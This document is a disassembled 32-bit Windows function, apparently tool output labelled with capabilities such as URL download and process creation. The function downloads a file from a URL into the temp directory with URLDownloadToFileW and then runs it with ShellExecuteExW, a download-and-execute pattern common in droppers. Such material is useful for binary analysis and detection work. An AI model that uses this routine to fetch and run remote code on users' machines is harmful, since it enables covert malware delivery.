Function at 0x422980
Capabilities:
Create process on windows
Download url
Get common file path
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5341c9
mov eax, dword fs:[0]
push eax
sub esp, 0x270
mov eax, dword [0x58dd4c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x278], eax
mov eax, dword [ebp + 0xc]
push ecx
mov dword [ebp - 0x26c], 0
lea ecx, [ebp - 0x224]
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x224], 0
call fcn.00424890
push 0x208
lea eax, [ebp - 0x218]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00510f30
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x218]
mov dword [ebp - 0x220], 0
push eax
lea ecx, [ebp - 0x220]
call fcn.00424890
push ecx
lea eax, [ebp - 0x274]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x220]
call fcn.00423130
mov byte [ebp - 4], 2
mov ecx, 1
mov eax, dword [eax]
mov dword [ebp - 0x26c], ecx
mov edx, dword [eax - 0xc]
cmp edx, ecx
jne 0x422a70
test edx, edx
jns 0x422a6a
push 0x80070057
call fcn.00425150
cmp word [eax], 0x5c
je 0x422aac
push ecx
lea eax, [ebp - 0x270]
push eax
lea ecx, [ebp - 0x220]
call fcn.00423130
mov ecx, 3
mov dword [ebp - 0x26c], ecx
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
cmp edx, 1
jne 0x422ab0
test edx, edx
jns 0x422aa6
push 0x80070057
call fcn.00425150
cmp word [eax], 0x2f
jne 0x422ab0
xor bl, bl
jmp 0x422ab2
mov bl, 1
or esi, 0xffffffff
test cl, 2
je 0x422ae0
mov edx, dword [ebp - 0x270]
and ecx, 0xfffffffd
mov dword [ebp - 0x26c], ecx
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x422ae0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 1
mov eax, esi
mov edx, dword [ebp - 0x274]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x422b04
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test bl, bl
je 0x422b1a
push 1
push 0x583f74
lea ecx, [ebp - 0x220]
call fcn.004239e0
push edi
lea edx, [ebp - 0x220]
mov dword [ebp - 0x21c], 0
lea ecx, [ebp - 0x21c]
call fcn.00423050
add esp, 4
push dword [ebp - 0x278]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x228], 0
call fcn.00424890
mov byte [ebp - 4], 4
mov edi, 1
mov eax, dword [ebp - 0x224]
cmp dword [eax - 0xc], 0
je 0x422bd0
mov ebx, dword [ebp - 0x21c]
mov edx, edi
sub edx, dword [ebx - 4]
mov ecx, dword [ebx - 8]
or ecx, edx
jge 0x422b98
push 0
lea ecx, [ebp - 0x21c]
call fcn.004251b0
mov eax, dword [ebp - 0x224]
mov ebx, dword [ebp - 0x21c]
mov ecx, dword [eax - 8]
mov edx, edi
sub edx, dword [eax - 4]
or ecx, edx
jge 0x422bb7
push 0
lea ecx, [ebp - 0x224]
call fcn.004251b0
mov eax, dword [ebp - 0x224]
push 0
push 0
push ebx
push eax
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x422bd0
xor bl, bl
jmp 0x422d2c
mov ebx, dword [ebp - 0x27c]
lea ecx, [ebp - 0x22c]
push ebx
mov dword [ebp - 0x22c], 0
call fcn.00424890
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x22c]
cmp dword [eax - 0xc], 0
je 0x422c30
mov ecx, dword [ebp - 0x21c]
mov edx, edi
sub edx, dword [ecx - 4]
mov eax, dword [ecx - 8]
or eax, edx
jge 0x422c21
push 0
lea ecx, [ebp - 0x21c]
call fcn.004251b0
mov ecx, dword [ebp - 0x21c]
mov edx, ebx
call fcn.004227e0
test al, al
je 0x422d09
mov eax, dword [ebp - 0x21c]
cmp dword [eax - 0xc], 0
je 0x422d09
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0x38
lea eax, [ebp - 0x264]
push 0
push eax
call fcn.00510f30
mov eax, dword [ebp - 0x21c]
mov edx, edi
mov dword [ebp - 0x268], 0x3c
add esp, 0xc
mov dword [ebp - 0x264], 0x40
mov dword [ebp - 0x260], 0
mov dword [ebp - 0x25c], str.open
sub edx, dword [eax - 4]
mov ecx, dword [eax - 8]
or ecx, edx
jge 0x422ca8
push 0
lea ecx, [ebp - 0x21c]
call fcn.004251b0
mov eax, dword [ebp - 0x21c]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp - 0x228]
sub edi, dword [eax - 4]
mov ecx, dword [eax - 8]
or ecx, edi
jge 0x422cd1
push 0
lea ecx, [ebp - 0x228]
call fcn.004251b0
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x254], eax
lea eax, [ebp - 0x268]
push eax
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x24c], 1
mov dword [ebp - 0x248], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
setne bl
jmp 0x422d0b
xor bl, bl
mov byte [ebp - 4], 4
mov eax, esi
mov edx, dword [ebp - 0x22c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x422d2c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 3
mov eax, esi
mov edx, dword [ebp - 0x228]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x422d4d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 1
mov eax, esi
mov edx, dword [ebp - 0x21c]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x422d6e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0
mov eax, esi
mov edx, dword [ebp - 0x220]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x422d8f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x224]
add eax, 0xfffffff0
lock xadd dword [eax + 0xc], esi
dec esi
test esi, esi
jg 0x422db1
mov ecx, dword [eax]
push eax
mov edx, dword [ecx]
call dword [edx + 4]
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050e1f3
mov esp, ebp
pop ebp
ret